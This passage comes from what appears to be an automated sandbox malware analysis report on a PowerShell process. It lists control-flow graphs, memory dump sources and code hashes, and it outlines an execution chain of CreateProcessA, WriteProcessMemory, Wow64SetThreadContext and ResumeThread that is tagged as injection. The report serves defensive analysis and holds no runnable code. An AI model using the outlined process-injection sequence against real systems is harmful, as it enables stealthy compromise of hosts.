719->724 720->707 725 7ffd347b0a7a 720->725 721->720 727 7ffd347b0b1b 723->727 728 7ffd347b0bb6-7ffd347b0bc2 724->728 729 7ffd347b0bc3-7ffd347b0be9 724->729 730 7ffd347b0a7c-7ffd347b0aa1 725->730 731 7ffd347b0ab0-7ffd347b0ae4 725->731 726->719 727->724 732 7ffd347b0b21-7ffd347b0b24 727->732 754 7ffd347b0beb-7ffd347b0c06 729->754 730->727 739 7ffd347b0aa4-7ffd347b0aa8 730->739 745 7ffd347b0c09-7ffd347b0c5b 731->745 746 7ffd347b0aea-7ffd347b0af4 731->746 737 7ffd347b0b26-7ffd347b0b49 732->737 738 7ffd347b0b4b 732->738 743 7ffd347b0b4d-7ffd347b0b4f 737->743 738->743 741 7ffd347b0aac-7ffd347b0aae 739->741 742 7ffd347b0aaa 739->742 741->731 742->741 743->724 748 7ffd347b0b51-7ffd347b0b5b 743->748 745->754 759 7ffd347b0c5d-7ffd347b0c63 745->759 746->718 746->719 748->724 755 7ffd347b0b5d-7ffd347b0b73 748->755 754->745 760 7ffd347b0b7a-7ffd347b0b83 755->760 764 7ffd347b0c65-7ffd347b0c8c 759->764 765 7ffd347b0c8e-7ffd347b0cb9 759->765 762 7ffd347b0b85-7ffd347b0b92 760->762 763 7ffd347b0b9c-7ffd347b0ba9 760->763 762->763 768 7ffd347b0b94-7ffd347b0b9a 762->768 764->765 773 7ffd347b0cbb 765->773 774 7ffd347b0cbc-7ffd347b0ccd 765->774 768->763 773->774 775 7ffd347b0ccf 774->775 776 7ffd347b0cd0-7ffd347b0ce2 774->776 775->776 777 7ffd347b0d5b-7ffd347b0d62 776->777 778 7ffd347b0ce4-7ffd347b0d19 776->778 782 7ffd347b0d93-7ffd347b0da8 777->782 781 7ffd347b0d1c-7ffd347b0d53 778->781 778->782 787 7ffd347b0d59-7ffd347b0d5a 781->787 788 7ffd347b0e32-7ffd347b0e3c 781->788 785 7ffd347b0db5-7ffd347b0e2f 782->785 786 7ffd347b0daa-7ffd347b0db3 782->786 785->788 786->785 787->777 789 7ffd347b0e48-7ffd347b0e88 788->789 790 7ffd347b0e3e-7ffd347b0e47 788->790
                                                        Memory Dump Source
                                                        • Source File: 0000000D.00000002.2810832900.00007FFD347B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347B0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_13_2_7ffd347b0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 8b18af79831d1d5cea2e848fadb3bb13e38a5edc510e5bc03f85ff4e76a9595a
                                                        • Instruction ID: b296e2ad83bcf02d0ccf4d537ae6816cc86fd2edc11bd76fd3ae49281ec657b1
                                                        • Opcode Fuzzy Hash: 8b18af79831d1d5cea2e848fadb3bb13e38a5edc510e5bc03f85ff4e76a9595a
                                                        • Instruction Fuzzy Hash: B2110592F1EF9A87F3B55A1C28B5179B5C1EF96624F4801BBD94DE2182DC4DBC0121C1
                                                        Function 00007FFD347B15E6 Relevance: .0, Instructions: 43COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 854 7ffd347b15e6-7ffd347b15e9 855 7ffd347b1608-7ffd347b161e 854->855 856 7ffd347b15eb-7ffd347b1606 854->856 858 7ffd347b1624-7ffd347b1633 855->858 856->855
                                                        Memory Dump Source
                                                        • Source File: 0000000D.00000002.2810832900.00007FFD347B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347B0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_13_2_7ffd347b0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 4855d5fa5b3934c1f5b724bf36dce04aa7a289534c19068b0c010ba30913de02
                                                        • Instruction ID: 32967437b9277f9399092babcc2d88e58491c1c9d4eb5e136441ba790e1df625
                                                        • Opcode Fuzzy Hash: 4855d5fa5b3934c1f5b724bf36dce04aa7a289534c19068b0c010ba30913de02
                                                        • Instruction Fuzzy Hash: 4BF0B472B1CA084FEB58DA1CD8951BAB3D1FBC9126714417FD18FC2562DE25AC028740

                                                        Execution Graph

                                                        Execution Coverage:6.1%
                                                        Dynamic/Decrypted Code Coverage:0%
                                                        Signature Coverage:0%
                                                        Total number of Nodes:13
                                                        Total number of Limit Nodes:0
                                                        execution_graph 4210 7ffd346ea0c8 4211 7ffd346ea0d1 Wow64SetThreadContext 4210->4211 4213 7ffd346ea194 4211->4213 4214 7ffd346ea2d4 4215 7ffd346ea2dd WriteProcessMemory 4214->4215 4217 7ffd346ea3d6 4215->4217 4218 7ffd346ea634 4219 7ffd346ea63d 4218->4219 4219->4219 4220 7ffd346ea953 CreateProcessA 4219->4220 4221 7ffd346ea9df 4220->4221 4222 7ffd346e9fcd 4223 7ffd346e9fdb ResumeThread 4222->4223 4225 7ffd346ea096 4223->4225

                                                        Executed Functions

                                                        Function 00007FFD347B0E8D Relevance: 2.5, Strings: 1, Instructions: 1285COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 0 7ffd347b0e8d-7ffd347b0eba 1 7ffd347b0ebc-7ffd347b0ecc 0->1 2 7ffd347b0ef0-7ffd347b0f15 0->2 7 7ffd347b0edc-7ffd347b0ee2 1->7 8 7ffd347b0ece-7ffd347b0edb 1->8 3 7ffd347b0f18-7ffd347b0f19 2->3 5 7ffd347b0f1a-7ffd347b0f29 3->5 6 7ffd347b10ad-7ffd347b1101 3->6 10 7ffd347b0f2b-7ffd347b0f40 5->10 11 7ffd347b0f42-7ffd347b0f47 5->11 34 7ffd347b1103-7ffd347b1109 6->34 35 7ffd347b1091-7ffd347b10aa 6->35 7->3 9 7ffd347b0ee4-7ffd347b0eef 7->9 8->7 9->2 10->11 15 7ffd347b104a-7ffd347b1054 11->15 16 7ffd347b0f4d-7ffd347b0f50 11->16 17 7ffd347b1065-7ffd347b108f 15->17 18 7ffd347b1056-7ffd347b1064 15->18 21 7ffd347b0f99 16->21 22 7ffd347b0f52-7ffd347b0f65 16->22 17->35 24 7ffd347b0f9b-7ffd347b0f9d 21->24 22->6 30 7ffd347b0f6b-7ffd347b0f75 22->30 24->15 27 7ffd347b0fa3-7ffd347b0fa6 24->27 32 7ffd347b0fa8-7ffd347b0fb1 27->32 33 7ffd347b0fbd-7ffd347b0fc1 27->33 37 7ffd347b0f77-7ffd347b0f84 30->37 38 7ffd347b0f8e-7ffd347b0f97 30->38 32->33 33->15 45 7ffd347b0fc7-7ffd347b0fcd 33->45 41 7ffd347b110b-7ffd347b1132 34->41 42 7ffd347b1134-7ffd347b115f 34->42 35->6 37->38 46 7ffd347b0f86-7ffd347b0f8c 37->46 38->24 41->42 62 7ffd347b1166-7ffd347b1177 42->62 63 7ffd347b1161 42->63 47 7ffd347b0fe9-7ffd347b0fef 45->47 48 7ffd347b0fcf-7ffd347b0fdc 45->48 46->38 51 7ffd347b100b-7ffd347b1021 47->51 52 7ffd347b0ff1-7ffd347b1009 47->52 48->47 54 7ffd347b0fde-7ffd347b0fe7 48->54 64 7ffd347b103a-7ffd347b1049 51->64 65 7ffd347b1023-7ffd347b1033 51->65 52->51 54->47 68 7ffd347b1179 62->68 69 7ffd347b117e-7ffd347b1219 62->69 63->62 66 7ffd347b1163 63->66 65->64 66->62 68->69 71 7ffd347b117b 68->71 75 7ffd347b13aa-7ffd347b13fe 69->75 76 7ffd347b121f-7ffd347b1229 69->76 71->69 98 7ffd347b1400-7ffd347b1406 75->98 99 7ffd347b138e-7ffd347b13a7 75->99 77 7ffd347b122b-7ffd347b1240 76->77 78 7ffd347b1242-7ffd347b1247 76->78 77->78 81 7ffd347b1347-7ffd347b1351 78->81 82 7ffd347b124d-7ffd347b1250 78->82 86 7ffd347b1353-7ffd347b1361 81->86 87 7ffd347b1362-7ffd347b138c 81->87 84 7ffd347b1299 82->84 85 7ffd347b1252-7ffd347b1265 82->85 89 7ffd347b129b-7ffd347b129d 84->89 85->75 100 7ffd347b126b-7ffd347b1275 85->100 87->99 89->81 92 7ffd347b12a3-7ffd347b12a6 89->92 96 7ffd347b12a8-7ffd347b12b1 92->96 97 7ffd347b12bd-7ffd347b12c1 92->97 96->97 97->81 110 7ffd347b12c7-7ffd347b12cd 97->110 106 7ffd347b1408-7ffd347b142f 98->106 107 7ffd347b1431-7ffd347b145b 98->107 99->75 101 7ffd347b1277-7ffd347b1284 100->101 102 7ffd347b128e-7ffd347b1297 100->102 101->102 111 7ffd347b1286-7ffd347b128c 101->111 102->89 106->107 127 7ffd347b145d 107->127 128 7ffd347b1462-7ffd347b1473 107->128 112 7ffd347b12e9-7ffd347b12ef 110->112 113 7ffd347b12cf-7ffd347b12dc 110->113 111->102 115 7ffd347b130b-7ffd347b131e 112->115 116 7ffd347b12f1-7ffd347b1309 112->116 113->112 119 7ffd347b12de-7ffd347b12e7 113->119 129 7ffd347b1337-7ffd347b1346 115->129 130 7ffd347b1320-7ffd347b1335 115->130 116->115 119->112 127->128 131 7ffd347b145f 127->131 133 7ffd347b1475 128->133 134 7ffd347b147a-7ffd347b149a 128->134 130->129 131->128 133->134 137 7ffd347b1477 133->137 135 7ffd347b149c-7ffd347b14cf 134->135 136 7ffd347b14d0-7ffd347b14da 134->136 135->136 140 7ffd347b14dc-7ffd347b150f 136->140 141 7ffd347b1510-7ffd347b151f 136->141 137->134 140->141 145 7ffd347b169f-7ffd347b16f5 140->145 143 7ffd347b1539-7ffd347b153f 141->143 144 7ffd347b1521-7ffd347b152f 141->144 147 7ffd347b1545-7ffd347b1548 143->147 148 7ffd347b1634-7ffd347b163e 143->148 144->143 149 7ffd347b1531-7ffd347b1537 144->149 171 7ffd347b16f7-7ffd347b16fd 145->171 172 7ffd347b1685-7ffd347b169c 145->172 152 7ffd347b154a 147->152 153 7ffd347b1591 147->153 150 7ffd347b1640-7ffd347b1650 148->150 151 7ffd347b1651-7ffd347b1684 148->151 149->143 151->172 157 7ffd347b154b-7ffd347b155d 152->157 155 7ffd347b1593-7ffd347b1595 153->155 155->148 159 7ffd347b159b-7ffd347b159e 155->159 157->145 165 7ffd347b1563-7ffd347b156d 157->165 159->148 164 7ffd347b15a4-7ffd347b15a7 159->164 164->148 167 7ffd347b15ad-7ffd347b15bb 164->167 169 7ffd347b1586-7ffd347b158f 165->169 170 7ffd347b156f-7ffd347b1584 165->170 167->157 176 7ffd347b15bd-7ffd347b15e1 167->176 169->155 170->169 177 7ffd347b1728-7ffd347b174d 171->177 178 7ffd347b16ff-7ffd347b1726 171->178 172->145 176->148 189 7ffd347b15e3-7ffd347b15e9 176->189 187 7ffd347b1759-7ffd347b1765 177->187 188 7ffd347b174f-7ffd347b1755 177->188 178->177 190 7ffd347b1767-7ffd347b176d 187->190 191 7ffd347b1771-7ffd347b17f4 187->191 188->187 192 7ffd347b1608-7ffd347b161e 189->192 193 7ffd347b15eb-7ffd347b1606 189->193 190->191 201 7ffd347b17f6-7ffd347b1838 191->201 202 7ffd347b183b-7ffd347b1845 191->202 197 7ffd347b1624-7ffd347b1633 192->197 193->192 201->202 204 7ffd347b1847-7ffd347b184f 202->204 205 7ffd347b1850-7ffd347b189b 202->205
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000014.00000002.2901433771.00007FFD347B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347B0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_20_2_7ffd347b0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: K_H
                                                        • API String ID: 0-3938840025
                                                        • Opcode ID: b792469d5571ea44b6766c73d4295514766dd3284aad4e670f58bf1e3bd5d82d
                                                        • Instruction ID: 73f6d1a513d940daa83de59bd427f8bac56cd4c71ac4650095494cca414d4f73
                                                        • Opcode Fuzzy Hash: b792469d5571ea44b6766c73d4295514766dd3284aad4e670f58bf1e3bd5d82d
                                                        • Instruction Fuzzy Hash: F7824762B0DBC94FE7A69B2858A51B57FE1EF47260B0801FBD18EC7193DD58BC069381
                                                        Function 00007FFD347B04D5 Relevance: 1.1, Instructions: 1103COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 293 7ffd347b04d5-7ffd347b0502 294 7ffd347b0538-7ffd347b053a 293->294 295 7ffd347b0504-7ffd347b0536 293->295 297 7ffd347b053c-7ffd347b056a 294->297 298 7ffd347b0570-7ffd347b057a 294->298 295->294 297->298 304 7ffd347b06d7-7ffd347b0717 297->304 300 7ffd347b057c-7ffd347b0591 298->300 301 7ffd347b0593-7ffd347b0598 298->301 300->301 302 7ffd347b0670-7ffd347b067a 301->302 303 7ffd347b059e-7ffd347b05a1 301->303 306 7ffd347b068b-7ffd347b06a9 302->306 307 7ffd347b067c-7ffd347b068a 302->307 303->302 308 7ffd347b05a7-7ffd347b05aa 303->308 320 7ffd347b06ab-7ffd347b06b9 304->320 323 7ffd347b0719-7ffd347b072b 304->323 306->320 310 7ffd347b05ac-7ffd347b05b5 308->310 311 7ffd347b05c1-7ffd347b05c5 308->311 310->311 311->302 318 7ffd347b05cb-7ffd347b05ce 311->318 321 7ffd347b05e5 318->321 322 7ffd347b05d0-7ffd347b05e3 318->322 327 7ffd347b06bb-7ffd347b06d4 320->327 326 7ffd347b05e7-7ffd347b05e9 321->326 322->326 323->327 328 7ffd347b072d-7ffd347b0733 323->328 326->302 330 7ffd347b05ef-7ffd347b05f5 326->330 327->304 336 7ffd347b0735-7ffd347b075c 328->336 337 7ffd347b075e-7ffd347b0787 328->337 332 7ffd347b05f7-7ffd347b0604 330->332 333 7ffd347b0611-7ffd347b0617 330->333 332->333 340 7ffd347b0606-7ffd347b060f 332->340 334 7ffd347b0619-7ffd347b0631 333->334 335 7ffd347b0633-7ffd347b0637 333->335 334->335 342 7ffd347b063e-7ffd347b0647 335->342 336->337 352 7ffd347b0789 337->352 353 7ffd347b078e-7ffd347b079f 337->353 340->333 346 7ffd347b0649-7ffd347b0656 342->346 347 7ffd347b0660-7ffd347b066f 342->347 346->347 351 7ffd347b0658-7ffd347b065e 346->351 351->347 352->353 356 7ffd347b078b 352->356 354 7ffd347b07a6-7ffd347b07ca 353->354 355 7ffd347b07a1 353->355 358 7ffd347b07cc-7ffd347b07ff 354->358 359 7ffd347b0800-7ffd347b0802 354->359 355->354 357 7ffd347b07a3 355->357 356->353 357->354 358->359 362 7ffd347b0838-7ffd347b083e 359->362 363 7ffd347b0804-7ffd347b080a 359->363 365 7ffd347b0840-7ffd347b0847 362->365 363->365 366 7ffd347b080c-7ffd347b0837 363->366 370 7ffd347b0849-7ffd347b0861 365->370 371 7ffd347b0863-7ffd347b0870 365->371 366->362 369 7ffd347b098f-7ffd347b09e1 366->369 388 7ffd347b09e3-7ffd347b09e9 369->388 389 7ffd347b0971-7ffd347b098c 369->389 370->371 376 7ffd347b0876-7ffd347b0879 371->376 377 7ffd347b0930-7ffd347b093a 371->377 376->377 379 7ffd347b087f-7ffd347b0887 376->379 381 7ffd347b093c-7ffd347b0948 377->381 382 7ffd347b0949-7ffd347b096f 377->382 379->369 383 7ffd347b088d-7ffd347b0897 379->383 382->389 386 7ffd347b0899-7ffd347b08a9 383->386 387 7ffd347b08b0-7ffd347b08b4 383->387 394 7ffd347b08ab-7ffd347b08ae 386->394 395 7ffd347b08df-7ffd347b08f9 386->395 387->377 392 7ffd347b08b6-7ffd347b08b9 387->392 398 7ffd347b09eb-7ffd347b0a12 388->398 399 7ffd347b0a14-7ffd347b0a41 388->399 389->369 396 7ffd347b08bb-7ffd347b08c4 392->396 397 7ffd347b08d0-7ffd347b08d4 392->397 394->387 408 7ffd347b08fb-7ffd347b0909 395->408 396->397 397->377 405 7ffd347b08d6-7ffd347b08dc 397->405 398->399 413 7ffd347b0a43 399->413 414 7ffd347b0a44-7ffd347b0a55 399->414 405->408 409 7ffd347b08de 405->409 415 7ffd347b090b-7ffd347b0918 408->415 416 7ffd347b0922-7ffd347b092f 408->416 409->395 413->414 417 7ffd347b0a57 414->417 418 7ffd347b0a58-7ffd347b0a7a 414->418 415->416 424 7ffd347b091a-7ffd347b0920 415->424 417->418 420 7ffd347b0a7c-7ffd347b0aae 418->420 421 7ffd347b0ab0-7ffd347b0ae4 418->421 420->421 426 7ffd347b0c09-7ffd347b0c5b 421->426 427 7ffd347b0aea-7ffd347b0af4 421->427 424->416 449 7ffd347b0beb-7ffd347b0c06 426->449 450 7ffd347b0c5d-7ffd347b0c63 426->450 429 7ffd347b0af6-7ffd347b0b03 427->429 430 7ffd347b0b0d-7ffd347b0b12 427->430 429->430 436 7ffd347b0b05-7ffd347b0b0b 429->436 433 7ffd347b0b18-7ffd347b0b1b 430->433 434 7ffd347b0baa-7ffd347b0bb4 430->434 433->434 439 7ffd347b0b21-7ffd347b0b24 433->439 437 7ffd347b0bb6-7ffd347b0bc2 434->437 438 7ffd347b0bc3-7ffd347b0be9 434->438 436->430 438->449 442 7ffd347b0b26-7ffd347b0b49 439->442 443 7ffd347b0b4b 439->443 446 7ffd347b0b4d-7ffd347b0b4f 442->446 443->446 446->434 448 7ffd347b0b51-7ffd347b0b5b 446->448 448->434 458 7ffd347b0b5d-7ffd347b0b67 448->458 449->426 455 7ffd347b0c65-7ffd347b0c8c 450->455 456 7ffd347b0c8e-7ffd347b0cb9 450->456 455->456 465 7ffd347b0cbb 456->465 466 7ffd347b0cbc-7ffd347b0ccd 456->466 460 7ffd347b0b69-7ffd347b0b73 458->460 463 7ffd347b0b7a-7ffd347b0b83 460->463 467 7ffd347b0b85-7ffd347b0b92 463->467 468 7ffd347b0b9c-7ffd347b0ba9 463->468 465->466 469 7ffd347b0ccf 466->469 470 7ffd347b0cd0-7ffd347b0d53 466->470 467->468 473 7ffd347b0b94-7ffd347b0b9a 467->473 469->470 475 7ffd347b0d59-7ffd347b0d62 470->475 476 7ffd347b0e32-7ffd347b0e3c 470->476 473->468 475->476 479 7ffd347b0e48-7ffd347b0e88 476->479 480 7ffd347b0e3e-7ffd347b0e47 476->480
                                                        Memory Dump Source
                                                        • Source File: 00000014.00000002.2901433771.00007FFD347B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347B0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_20_2_7ffd347b0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 036989d232926574bcdab739a998ffadc81cd1b54ed8cce4d39a524dcc65fa8d
                                                        • Instruction ID: 591aff919f5efedb0df5022fcef801e1acb5ed139d3a857db3594b7f26914ada
                                                        • Opcode Fuzzy Hash: 036989d232926574bcdab739a998ffadc81cd1b54ed8cce4d39a524dcc65fa8d
                                                        • Instruction Fuzzy Hash: 14620262B0EBC94FE7A69A2848B51B57FE0EF97214B0801FBD18DC7193DD58AC06D391
                                                        Function 00007FFD346EA634 Relevance: 1.9, APIs: 1, Instructions: 387processCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 212 7ffd346ea634-7ffd346ea63b 213 7ffd346ea646-7ffd346ea714 212->213 214 7ffd346ea63d-7ffd346ea645 212->214 218 7ffd346ea716-7ffd346ea725 213->218 219 7ffd346ea772-7ffd346ea7a4 213->219 214->213 218->219 220 7ffd346ea727-7ffd346ea72a 218->220 226 7ffd346ea7a6-7ffd346ea7b5 219->226 227 7ffd346ea802-7ffd346ea876 219->227 222 7ffd346ea72c-7ffd346ea73f 220->222 223 7ffd346ea764-7ffd346ea76c 220->223 224 7ffd346ea743-7ffd346ea756 222->224 225 7ffd346ea741 222->225 223->219 224->224 228 7ffd346ea758-7ffd346ea760 224->228 225->224 226->227 229 7ffd346ea7b7-7ffd346ea7ba 226->229 233 7ffd346ea878-7ffd346ea887 227->233 234 7ffd346ea8d4-7ffd346ea9dd CreateProcessA 227->234 228->223 231 7ffd346ea7bc-7ffd346ea7cf 229->231 232 7ffd346ea7f4-7ffd346ea7fc 229->232 235 7ffd346ea7d3-7ffd346ea7e6 231->235 236 7ffd346ea7d1 231->236 232->227 233->234 237 7ffd346ea889-7ffd346ea88c 233->237 247 7ffd346ea9e5-7ffd346eaa13 234->247 248 7ffd346ea9df 234->248 235->235 238 7ffd346ea7e8-7ffd346ea7f0 235->238 236->235 239 7ffd346ea8c6-7ffd346ea8ce 237->239 240 7ffd346ea88e-7ffd346ea8a1 237->240 238->232 239->234 242 7ffd346ea8a5-7ffd346ea8b8 240->242 243 7ffd346ea8a3 240->243 242->242 245 7ffd346ea8ba-7ffd346ea8c2 242->245 243->242 245->239 248->247
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000014.00000002.2895258734.00007FFD346E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346E0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_20_2_7ffd346e0000_powershell.jbxd
                                                        Similarity
                                                        • API ID: CreateProcess
                                                        • String ID:
                                                        • API String ID: 963392458-0
                                                        • Opcode ID: bc54cba4a78c2371783efaa3f3dc9e7d73d97f8d5480babd474994f07e40abdc
                                                        • Instruction ID: 5ca4fddf13d07082e7f2b296c34f5c82fece4f854fe054dd0b667cf90f11dfc5
                                                        • Opcode Fuzzy Hash: bc54cba4a78c2371783efaa3f3dc9e7d73d97f8d5480babd474994f07e40abdc
                                                        • Instruction Fuzzy Hash: D3C17630518A8D8FDB64DF18CC967EA77E1FB59311F14422ADC4EC7291DF78A9818B82
                                                        Function 00007FFD346EA2D4 Relevance: 1.6, APIs: 1, Instructions: 150injectionCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 251 7ffd346ea2d4-7ffd346ea2db 252 7ffd346ea2e6-7ffd346ea2fa 251->252 253 7ffd346ea2dd-7ffd346ea2e5 251->253 254 7ffd346ea2fc-7ffd346ea32f 252->254 255 7ffd346ea330-7ffd346ea375 252->255 253->252 254->255 259 7ffd346ea377-7ffd346ea37c 255->259 260 7ffd346ea37f-7ffd346ea3d4 WriteProcessMemory 255->260 259->260 262 7ffd346ea3dc-7ffd346ea40d 260->262 263 7ffd346ea3d6 260->263 263->262
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000014.00000002.2895258734.00007FFD346E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346E0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_20_2_7ffd346e0000_powershell.jbxd
                                                        Similarity
                                                        • API ID: MemoryProcessWrite
                                                        • String ID:
                                                        • API String ID: 3559483778-0
                                                        • Opcode ID: d605524fa2631ba56d409e679f5142c16cd783ae800c3be1e6ecf6abcae88469
                                                        • Instruction ID: 0a9bb768d432dc725a8276603d8dfeb49bc5add93425339cd556e8e067d12a55
                                                        • Opcode Fuzzy Hash: d605524fa2631ba56d409e679f5142c16cd783ae800c3be1e6ecf6abcae88469
                                                        • Instruction Fuzzy Hash: 9E41F73191CB1C4FDB289F9898566EA7BE0EB55311F04426FE089D3282CE74A8458B82
                                                        Function 00007FFD346EA0C8 Relevance: 1.6, APIs: 1, Instructions: 129threadCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 265 7ffd346ea0c8-7ffd346ea0cf 266 7ffd346ea0da-7ffd346ea0ea 265->266 267 7ffd346ea0d1-7ffd346ea0d9 265->267 268 7ffd346ea0ec-7ffd346ea11f 266->268 269 7ffd346ea120-7ffd346ea14d 266->269 267->266 268->269 273 7ffd346ea157-7ffd346ea192 Wow64SetThreadContext 269->273 274 7ffd346ea14f-7ffd346ea154 269->274 276 7ffd346ea19a-7ffd346ea1c9 273->276 277 7ffd346ea194 273->277 274->273 277->276
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000014.00000002.2895258734.00007FFD346E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346E0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_20_2_7ffd346e0000_powershell.jbxd
                                                        Similarity
                                                        • API ID: ContextThreadWow64
                                                        • String ID:
                                                        • API String ID: 983334009-0
                                                        • Opcode ID: 15fa0f0b85018144603de0f693bef86a9405b25d3f0b92e4f4f1338557a4cf06
                                                        • Instruction ID: 36f3530b7facf2dd2a18f3f9ef40710ce6cdae1ee445dd26c0112ecc3a66bf61
                                                        • Opcode Fuzzy Hash: 15fa0f0b85018144603de0f693bef86a9405b25d3f0b92e4f4f1338557a4cf06
                                                        • Instruction Fuzzy Hash: 80312A31D0CB184FDB289F9898566FA7BE1EB56311F04423FD089D3282DF74A8468791
                                                        Function 00007FFD346E9FCD Relevance: 1.6, APIs: 1, Instructions: 120threadCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 279 7ffd346e9fcd-7ffd346e9fd9 280 7ffd346e9fdb-7ffd346e9fe3 279->280 281 7ffd346e9fe4-7ffd346e9ff3 279->281 280->281 282 7ffd346e9ff5-7ffd346e9ffd 281->282 283 7ffd346e9ffe-7ffd346ea00a 281->283 282->283 284 7ffd346ea00c-7ffd346ea03f 283->284 285 7ffd346ea040-7ffd346ea094 ResumeThread 283->285 284->285 290 7ffd346ea09c-7ffd346ea0c1 285->290 291 7ffd346ea096 285->291 291->290
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000014.00000002.2895258734.00007FFD346E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346E0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_20_2_7ffd346e0000_powershell.jbxd
                                                        Similarity
                                                        • API ID: ResumeThread
                                                        • String ID:
                                                        • API String ID: 947044025-0
                                                        • Opcode ID: e860c49256d119510854a2784908b34026fe9d42779da8ab835f175b3d731be4
                                                        • Instruction ID: da3c638b908443f018687e4580aed00945e043c809b80d8b328c9245499ab77e
                                                        • Opcode Fuzzy Hash: e860c49256d119510854a2784908b34026fe9d42779da8ab835f175b3d731be4
                                                        • Instruction Fuzzy Hash: 5B31093190D7884FDB1ADFA888666EA7FE0EF57320F0841AFD089C7193DA786455C751
                                                        Function 00007FFD347B0A68 Relevance: .2, Instructions: 151COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        Memory Dump Source
                                                        • Source File: 00000014.00000002.2901433771.00007FFD347B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347B0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_20_2_7ffd347b0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 5b7957e7ab44c715db8048b2a933489bec9b74913aaf46b76b9f3edb868ba23f
                                                        • Instruction ID: 7b648423fa30c56c9c67ffa07b37c35a2709377193bff76a44d36909d8670e0e
                                                        • Opcode Fuzzy Hash: 5b7957e7ab44c715db8048b2a933489bec9b74913aaf46b76b9f3edb868ba23f
                                                        • Instruction Fuzzy Hash: 8241AF52A0EBC94FE7A6966808B52B67FE1DF57304B0900FAD58CC7193DD5C7C06A392
                                                        Function 00007FFD347B05B9 Relevance: .1, Instructions: 86COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 610 7ffd347b05b9-7ffd347b05c5 612 7ffd347b05cb-7ffd347b05ce 610->612 613 7ffd347b0670-7ffd347b067a 610->613 616 7ffd347b05e5 612->616 617 7ffd347b05d0-7ffd347b05e3 612->617 614 7ffd347b068b-7ffd347b06a9 613->614 615 7ffd347b067c-7ffd347b068a 613->615 627 7ffd347b06ab-7ffd347b06b9 614->627 620 7ffd347b05e7-7ffd347b05e9 616->620 617->620 620->613 621 7ffd347b05ef-7ffd347b05f5 620->621 623 7ffd347b05f7-7ffd347b0604 621->623 624 7ffd347b0611-7ffd347b0617 621->624 623->624 630 7ffd347b0606-7ffd347b060f 623->630 625 7ffd347b0619-7ffd347b0631 624->625 626 7ffd347b0633-7ffd347b0637 624->626 625->626 632 7ffd347b063e-7ffd347b0647 626->632 635 7ffd347b06bb-7ffd347b0717 627->635 630->624 636 7ffd347b0649-7ffd347b0656 632->636 637 7ffd347b0660-7ffd347b066f 632->637 635->627 645 7ffd347b0719-7ffd347b072b 635->645 636->637 640 7ffd347b0658-7ffd347b065e 636->640 640->637 645->635 647 7ffd347b072d-7ffd347b0733 645->647 649 7ffd347b0735-7ffd347b075c 647->649 650 7ffd347b075e-7ffd347b0787 647->650 649->650 655 7ffd347b0789 650->655 656 7ffd347b078e-7ffd347b079f 650->656 655->656 659 7ffd347b078b 655->659 657 7ffd347b07a6-7ffd347b07ca 656->657 658 7ffd347b07a1 656->658 661 7ffd347b07cc-7ffd347b07ff 657->661 662 7ffd347b0800-7ffd347b0802 657->662 658->657 660 7ffd347b07a3 658->660 659->656 660->657 661->662 664 7ffd347b0838-7ffd347b083e 662->664 665 7ffd347b0804-7ffd347b080a 662->665 667 7ffd347b0840-7ffd347b0847 664->667 665->667 668 7ffd347b080c-7ffd347b0837 665->668 672 7ffd347b0849-7ffd347b0861 667->672 673 7ffd347b0863-7ffd347b0870 667->673 668->664 671 7ffd347b098f-7ffd347b09e1 668->671 690 7ffd347b09e3-7ffd347b09e9 671->690 691 